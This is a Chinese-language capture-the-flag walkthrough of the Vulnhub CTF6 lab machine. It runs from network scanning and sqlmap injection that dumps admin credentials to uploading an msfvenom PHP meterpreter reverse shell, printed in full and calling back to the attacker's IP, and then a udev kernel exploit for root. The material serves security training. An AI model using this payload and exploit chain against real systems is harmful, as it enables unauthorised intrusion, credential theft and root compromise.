Vulnhub-CTF6靶机实战
前言
靶機(jī)下載地址:下載地址
KALI地址:192.168.10.73
靶機(jī)地址:192.168.10.40
一.信息收集
1.主機(jī)發(fā)現(xiàn)
使用命令如下,來進(jìn)行主機(jī)發(fā)現(xiàn)
netdiscover -r 192.168.10.73如下圖發(fā)現(xiàn)了靶機(jī)地址
2.主機(jī)掃描
這使用的是nmap命令來進(jìn)行的主機(jī)掃描,如下命令
nmap -A -T4 -p- 192.168.10.40如下圖,掃描結(jié)果,發(fā)現(xiàn)開放了很多端口
3.目錄掃描
既然掃描端口開放了80端口,那么肯定是網(wǎng)站,那么二話不說直接來一通目錄掃描,使用命令如下
dirb http://192.168.10.40如下圖,掃出來很多目錄,紅色箭頭是我自己覺得可能很重要的目錄
4.網(wǎng)頁信息收集
我們打開網(wǎng)站首頁發(fā)現(xiàn)類似于文章的頁面,并且有l(wèi)ogin,證明可以登錄,然后每篇文章都可以點(diǎn)Read More,但是點(diǎn)進(jìn)去之后,發(fā)現(xiàn)上面URL地址,是id出頭的,經(jīng)過測試可以更換后面的數(shù)字進(jìn)行文章跳轉(zhuǎn),如果在后面加一個(gè)其他字符,就不能跳轉(zhuǎn)了,猜測可能有SQL注入,如下圖。
根據(jù)上面信目錄掃描,發(fā)現(xiàn)了一個(gè)郵件系統(tǒng),如下圖,可能有用
然后我們訪問doc目錄,發(fā)現(xiàn)了一個(gè)壓縮包可以下載下來,并且里面還有一個(gè)phpinfo,可以看看php版本
我們訪問sql目錄,發(fā)現(xiàn)了一個(gè)文件,并且文件里面有密碼和用戶泄露,可能有用,如下圖
然后根據(jù)目錄掃描還發(fā)現(xiàn)了phpmyadmin如下圖,可能后面有用
二.漏洞利用
1.SQL注入
根據(jù)上面網(wǎng)頁信息收集,發(fā)現(xiàn)文章id可能有SQL注入,我們直接使用sqlmap一把梭試試看,如下命令
python sqlmap.py -u "http://192.168.10.40/?id=1" --dbs如下圖,爆破出了所有的數(shù)據(jù)庫,這里就覺得cms數(shù)據(jù)庫可疑就他了。
所以一路憑感覺就發(fā)現(xiàn)了賬戶密碼,使用命令如下。
python sqlmap.py -u "http://192.168.10.40/?id=1" -D cms -T user -C user_username,user_password --dump如下圖,發(fā)現(xiàn)了賬戶密碼,和上面網(wǎng)頁信息收集的時(shí)候發(fā)現(xiàn)的賬戶密碼一直對應(yīng)了,這里猜測是后臺登錄密碼和賬戶,正好首頁有一個(gè)登錄框。
賬戶:admin
密碼:adminpass
2.文件上傳
根據(jù)上面SQL注入獲取到的密碼賬戶,成功登錄到了后臺,然后在Add Event選項(xiàng),發(fā)現(xiàn)了上傳選項(xiàng)!!!這不得上傳?如下圖。
然后經(jīng)過測試,發(fā)現(xiàn)這里上傳根本沒有過濾,直接上傳php文件即可,這里我們打開KALI,輸入命令如下來生成一個(gè)php木馬。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.73 LPORT=4444 -f raw生成的木馬代碼如下
*<?php /**/ error_reporting(0); $ip = '192.168.10.73'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();然后我們在再msf里面打開監(jiān)聽,操作流程如下
┌──(root?kali)-[~/Desktop] └─# msfconsole _---------..' ####### ;.".---,. ;@ @@`; .---,.. ." @@@@@'.,'@@ @@@@@',.'@@@@ ". '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'"--'.@@@ -.@ @ ,'- .'--"".@' ; @ @ `. ;'|@@@@ @@@ @ .' @@@ @@ @@ ,`.@@@@ @@ . ',@@ @ ; _____________ ( 3 C ) /|___ / Metasploit! \ ;@'. __*__,." \|--- \_____________/ '(.,...."/ =[ metasploit v6.1.27-dev ] + -- --=[ 2196 exploits - 1162 auxiliary - 400 post ] + -- --=[ 596 payloads - 45 encoders - 10 nops ] + -- --=[ 9 evasion ]Metasploit tip: View all productivity tips with the tips commandmsf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler):Name Current Setting Required Description---- --------------- -------- -----------Payload options (generic/shell_reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Wildcard Targetmsf6 exploit(multi/handler) > set LHOST 192.168.10.73 LHOST => 192.168.10.73 msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.10.73:4444之后我們再把生成的木馬的代碼,放進(jìn)一個(gè)php文件里面然后直接上傳上去即可,如下圖
怎么找到路徑呢,我們回到首頁,然后如下圖所示打開即可
打開之后,發(fā)現(xiàn)就成功反彈了meterpreter如下圖。
三.提權(quán)
來到了后臺,再meterpreter的地方輸入shell來獲取一個(gè)控制臺,然后輸入命令whereis python來查找靶機(jī)是否有python,發(fā)現(xiàn)是有的然后再輸入python -c "import pty; pty.spawn('/bin/bah')"來獲取一個(gè)新的binbash,如下圖。
之后就可以再靶機(jī)里面找信息,查看是否有提權(quán)的可能,經(jīng)過一番查找(指的是找了半小時(shí)),發(fā)現(xiàn)再系統(tǒng)層面,系統(tǒng)內(nèi)核是2.6!!!,如下圖,查看命令是uname -a。
1.udev提權(quán)
udev漏洞針對的是linux2.6的內(nèi)核,正好靶機(jī)是這個(gè)內(nèi)核,所以這里可以使用udev漏洞來進(jìn)行提權(quán),首先我們?nèi)ali搜索是否擁有這個(gè)提權(quán)文件,發(fā)現(xiàn)是有的,搜索命令是searchsploit udev,如下圖。
然后我們把這個(gè)文件復(fù)制到桌面,使用命令如下。
cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./然后我們使用meterpreter來把文件上傳到靶機(jī)的/tmp文件夾,命令是upload /root/Desktop/8478.sh /tmp,需要在meterpreter的命令行輸入,如果從shell回到meterpreter的命令行只需要按ctrl +c即可,然后方便做下一步操作,如下圖。
回到靶機(jī),cd到tmp文件夾,發(fā)現(xiàn)提權(quán)文件已經(jīng)在里面了,我們現(xiàn)在只需要給文件賦予777權(quán)限,命令是chmod 777 8478.sh
然后我們在查看一下udev id查看命令是ps -ef |grep udev,如下圖,發(fā)現(xiàn)是568
之后我們執(zhí)行文件的時(shí)候加上這個(gè)id即可提權(quán),如下圖提權(quán)成功,命令是./8478.sh 568
如下圖提權(quán),成功,發(fā)現(xiàn)id變成了root,并且$變成了#,完成!
四.總結(jié)
udev提權(quán)很重要
總結(jié)
以上是生活随笔為你收集整理的Vulnhub-CTF6靶机实战的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: xshell 6 打开出现错误提示Fle
- 下一篇: html单选框对齐,HTML - 对齐单